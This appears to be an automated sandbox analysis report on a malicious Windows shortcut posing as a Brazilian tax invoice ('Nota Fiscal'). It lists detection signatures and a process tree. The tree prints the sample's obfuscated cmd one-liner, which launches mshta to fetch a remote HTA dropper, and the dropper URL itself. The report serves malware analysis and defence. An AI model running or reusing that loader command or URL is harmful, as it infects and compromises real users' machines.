Analysis

  • user interaction
    yes
  • max time kernel
    116s
  • max time network
    120s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    13/08/2026, 02:41

General

  • Target
    Nota_Fiscal_-PDRAWN.lnk
  • Size 1KB
  • Sample260813-c6ynvszeph
  • SHA256 f0e5fc4c8528710ec4059728a03d832a1937f92033f81b3a80d6f213e937c037
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://sis.notaeletronicaxml.com/h/estagio1.php?r=391C7CE85D88

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Nota_Fiscal_-PDRAWN.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2956
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /v:on /c "set a=msh&& set b=ta&& set c=https://&& set d=sis.notaeletronicaxml.com&& set e=/h/estagio1.php?r=391C7CE85D88&& !a!!b! !c!!d!!e!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4848
      • C:\Windows\System32\mshta.exe
        mshta https://sis.notaeletronicaxml.com/h/estagio1.php?r=391C7CE85D88
        3⤵
        • Badlisted process makes network request
        • Suspicious use of FindShellTrayWindow
        PID:1064
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:4440
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /4
      1⤵
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:2816
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /7
      1⤵
        PID:4336
      • C:\Windows\system32\mmc.exe
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\taskschd.msc" /s
        1⤵
        • Drops file in System32 directory
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:1808

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            memory/2816-12-0x0000025761260000-0x0000025761261000-memory.dmp

            memory/2816-13-0x0000025761260000-0x0000025761261000-memory.dmp

            memory/2816-14-0x0000025761260000-0x0000025761261000-memory.dmp

            memory/2816-21-0x0000025761260000-0x0000025761261000-memory.dmp

            memory/2816-24-0x0000025761260000-0x0000025761261000-memory.dmp

            memory/2816-23-0x0000025761260000-0x0000025761261000-memory.dmp

            memory/2816-22-0x0000025761260000-0x0000025761261000-memory.dmp

            memory/2816-20-0x0000025761260000-0x0000025761261000-memory.dmp

            memory/2816-19-0x0000025761260000-0x0000025761261000-memory.dmp

            memory/2816-18-0x0000025761260000-0x0000025761261000-memory.dmp